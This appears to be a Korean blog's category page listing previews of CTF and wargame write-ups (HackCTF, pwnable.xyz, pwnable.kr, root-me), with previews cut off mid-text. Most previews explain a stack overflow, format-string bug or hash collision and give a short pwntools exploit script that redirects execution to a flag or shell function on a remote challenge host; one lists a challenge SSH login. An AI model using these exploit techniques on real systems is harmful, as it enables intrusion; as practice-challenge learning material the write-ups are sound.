목록exploit (16)
ii4gsp
main()함수를 보면 printf()함수에서 FSB취약점이 발생한다. play_game()함수에 system("cat ./flag"); 가 있다. system()함수를 호출하기전 인자 0x400750을 printf@got에 덮어주면 된다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3022) e = ELF('/home/ii4gsp/HackCTF/you_are_silver') flag = str(0x400750) printf_got = e.got['printf'] payload = '' payload += '%' + flag + 'x%8$ln' payload += '\x90' * 2 payload += p64(printf_got) r.sendline(paylo..
파일을 다운받아 주자. IDA로 파일을 열어보면 main()함수에서 vuln()함수를 호출한다. s는 32byte만큼 할당되었고 fgets()함수로 32byte만큼 입력을받는다. 하지만, replace()함수가 "I"를 "you"로 바꿔준다. "you"는 3byte이므로, 3 * 20 = 60 dummy + sfp = 64 64byte dummy를 채워주고 flag를 출력해주는 get_flag() 함수의 주로를 ret로 조작해주면 된다. get_flag()함수의 주소는 0x08048F0D 이다. Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3011) payload = '' payload += 'I' * 20 payload += '\x90' * 4 ..
#include #include #include #include #include /* gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack */ void callMeMaybe(){ char *argv[] = { "/bin/bash", "-p", NULL }; execve(argv[0], argv, NULL); } int main(int argc, char **argv){ char buffer[256]; int len, i; scanf("%s", buffer); len = strlen(buffer); printf("Hello %s\n", buffer); return 0; } scanf()함수에서 취약점이 발생한다..
파일을 다운받아 주자. 파일을 IDA로 열어보면 이전 문제와 똑같다 gets()함수에서 취약점이 발생한다. s는 0x40만큼 할당되었다. 0x40은 64이다. s ~ sfp까지는 68이다. s ~ sfp 68byte를 덮어주고 ret를 get_flag()함수로 조작해주면 쉘을 획득할 수 있다. get_flag()함수의 주소는 0x08048556이다. Exploit from pwn import * r = remote('52.79.224.215', 30006) payload = '' payload += '\x90' * 68 payload += p32(0x08048556) r.sendline(payload) r.interactive()
파일을 다운받아 주자. 파일을 IDA로 열어보면 gets()함수에서 취약점이 발생한다는것을 알 수 있다. s는 0x14 즉, 10진수로 20만큼 할당되었고 sfp까지하면 24byte이다. s ~ sfp 만큼 24byte를 덮어주고 ret를 flag() 함수의 주소로 조작하면 쉘을 획득할 수 있다. flag()함수의 주소는 0x08048516 이다. Exploit from pwn import * r = remote('52.79.224.215', 30005) payload = '' payload += '\x90' * 24 payload += p32(0x08048516) r.recvuntil('>> ') r.sendline(payload) r.interactive()
파일을 다운로드 해주자. IDA로 열어보면 scanf()함수로 v4, v5, v6에 입력을 받는다. v7[v6]에 v4와 v5를 더한값을 넣고 값을 출력한다. result에 0을넣고 return한다. win()함수가 실행되면 flag가 출력된다. result의 값을 win()함수의 주소로 조작해주면 win()함수가 실행된다. v4에 win()함수의 주소를 입력하고 v5에는 0을 입력한다. v6에 13을 입력하면 result의 주소에 접근할 수 있다. from pwn import * r = remote("svc.pwnable.xyz", 30002) e = ELF('./challenge') win = e.symbols['win'] payload = '' payload += str(win) + ' 0 13' ..
ssh서버에 접속해주자. col파일의 소스코드를 보면 argv[1]이 20byte가 아니면 안되고 hashcode와 check_password(argv[1])의 값이 같아야한다. check_password()함수는 4byte씩 나눠서 받기때문에 hashcode의 값 0x21DD09EC를 5로 나눠주자. hashcode의 값을 5로 나누면 0x6C5CEC8이 나온다 다시 곱하기 5를 해주자. 0x21DD09EC에서 -4된 0x21DD09E8이 나온다. 0x6C6CEC8 + 4의 값 0x6C5CECC를 리틀 엔디언 방식으로 전달해주면 된다. Flag: daddy! I just managed to create a hash collision :) payload ./col $(python -c 'print "\x..
#include #include #include #include void shell() { setreuid(geteuid(), geteuid()); system("/bin/bash"); } void sup() { printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n"); } void main() { int var; void (*func)()=sup; char buf[128]; fgets(buf,133,stdin); func(); } fgets()함수에서 취약점이 발생한다. ssh -p 2222 app-systeme-ch15@challenge02.root-me.org password: app-systeme-ch15 ssh서버에 접속해주자. buf 128byte를 채우고 shell()함수..